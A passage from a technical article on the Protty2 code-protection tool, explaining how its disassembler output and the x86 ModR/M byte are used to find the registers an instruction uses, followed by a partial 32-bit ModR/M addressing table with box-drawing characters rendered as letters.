OUT DWORD disasm_addrsize; -- size of address (or 0 if no addr)
OUT DWORD disasm_datasize; -- size of data (or 0 if no data)
OUT BYTE disasm_rep; -- REP prefix value (if C_REP)
OUT BYTE disasm_seg; -- SEG prefix value (if C_SEG)
OUT BYTE disasm_opcode; -- opcode value (present if no error)
OUT BYTE disasm_opcode2; -- 2nd opcode value (if C_OPCODE2)
OUT BYTE disasm_modrm; -- MODRM value (if C_MODRM)
OUT BYTE disasm_sib; -- SIB value (if C_SIB)
OUT BYTE disasm_addr[8]; -- address (if disasm_addrsize!=0)
OUT BYTE disasm_data[8]; -- data (if disasm_datasize!=0)
};
To get the registers used by the instruction, we need to check the
disasm_modrm value. Of course there are few exceptions like one-bytes
intructions (no ModR/M) like "lodsb/lodsw/stosb" etc.etc. Protty2 is doing
manual check for them. Sometimes encoding of the ModR/M requires a SIB
byte to fully specify the addressing form. The base+index and scale+index
forms of a 32bit addressing require the SIB byte. This, due to lack of
free time, wasn't implemented in P2, however when the mechanism cannot find
the "registers used" it does some brute-scan and check all registers in
host context (this should cover most of the unknown-cases).
But lets go back to ModR/M-s:
Lets imagine we are disassembling following instruction:
- MOV EAX,DWORD PTR DS:[EBX]
The value returned in disasm_modrm is equal to 03h. By knowing this the
library checks following table (look for 03):
(32-Bit Addressing Forms with the ModR/M Byte Translated Table)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A ModR/M Byte A Src/Dst, Src/Dst Operand
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 00 A [EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 01 A [ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 02 A [EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 03 A [EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 04 A [--][--], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 05 A [disp32], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 06 A [ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 07 A [EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 08 A [EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 09 A [ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0A A [EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0B A [EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0C A [--][--], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0D A [disp32], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0E A [ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0F A [EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 10 A [EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 11 A [ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 12 A [EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 13 A [EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 14 A [--][--], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 15 A [disp32], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 16 A [ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 17 A [EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 18 A [EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 19 A [ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1A A [EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1B A [EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1C A [--][--], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1D A [disp32], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1E A [ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1F A [EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 20 A [EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 21 A [ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 22 A [EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 23 A [EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 24 A [--][--], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 25 A [disp32], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 26 A [ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 27 A [EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 28 A [EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 29 A [ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2A A [EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2B A [EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2C A [--][--], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2D A [disp32], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2E A [ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2F A [EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 30 A [EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 31 A [ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 32 A [EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 33 A [EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 34 A [--][--], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 35 A [disp32], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 36 A [ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 37 A [EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 38 A [EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 39 A [ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3A A [EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3B A [EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3C A [--][--], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3D A [disp32], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3E A [ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3F A [EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 40 A [disp8+EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 41 A [disp8+ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 42 A [disp8+EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 43 A [disp8+EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 44 A [disp8+[--][--]], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 45 A [disp8+EBP], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 46 A [disp8+ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 47 A [disp8+EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 48 A [disp8+EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 49 A [disp8+ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4A A [disp8+EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4B A [disp8+EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4C A [disp8+[--][--]], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4D A [disp8+EBP], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4E A [disp8+ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4F A [disp8+EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 50 A [disp8+EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 51 A [disp8+ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 52 A [disp8+EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 53 A [disp8+EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 54 A [disp8+[--][--]], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 55 A [disp8+EBP], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 56 A [disp8+ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 57 A [disp8+EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 58 A [disp8+EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 59 A [disp8+ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5A A [disp8+EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5B A [disp8+EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5C A [disp8+[--][--]], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5D A [disp8+EBP], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5E A [disp8+ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5F A [disp8+EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 60 A [disp8+EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 61 A [disp8+ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 62 A [disp8+EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 63 A [disp8+EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 64 A [disp8+[--][--]], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 65 A [disp8+EBP], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 66 A [disp8+ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 67 A [disp8+EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 68 A [disp8+EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 69 A [disp8+ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6A A [disp8+EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6B A [disp8+EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6C A [disp8+[--][--]], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6D A [disp8+EBP], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6E A [disp8+ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6F A [disp8+EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 70 A [disp8+EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 71 A [disp8+ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 72 A [disp8+EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 73 A [disp8+EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 74 A [disp8+[--][--]], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 75 A [disp8+EBP], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 76 A [disp8+ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 77 A [disp8+EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 78 A [disp8+EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 79 A [disp8+ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7A A [disp8+EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7B A [disp8+EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7C A [disp8+[--][--]], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7D A [disp8+EBP], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7E A [disp8+ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7F A [disp8+EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 80 A [disp32+EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 81 A [disp32+ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 82 A [disp32+EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 83 A [disp32+EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 84 A [disp32+[--][--]], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 85 A [disp32+EBP], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 86 A [disp32+ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 87 A [disp32+EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 88 A [disp32+EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 89 A [disp32+ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8A A [disp32+EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8B A [disp32+EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8C A [disp32+[--][--]], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8D A [disp32+EBP], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8E A [disp32+ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8F A [disp32+EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 90 A [disp32+EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 91 A [disp32+ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 92 A [disp32+EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 93 A [disp32+EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 94 A [disp32+[--][--]], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 95 A [disp32+EBP], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 96 A [disp32+ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 97 A [disp32+EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 98 A [disp32+EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 99 A [disp32+ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9A A [disp32+EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9B A [disp32+EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9C A [disp32+[--][--]], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9D A [disp32+EBP], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9E A [disp32+ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9F A [disp32+EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A0 A [disp32+EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A1 A [disp32+ECX], ESP/SP/AH
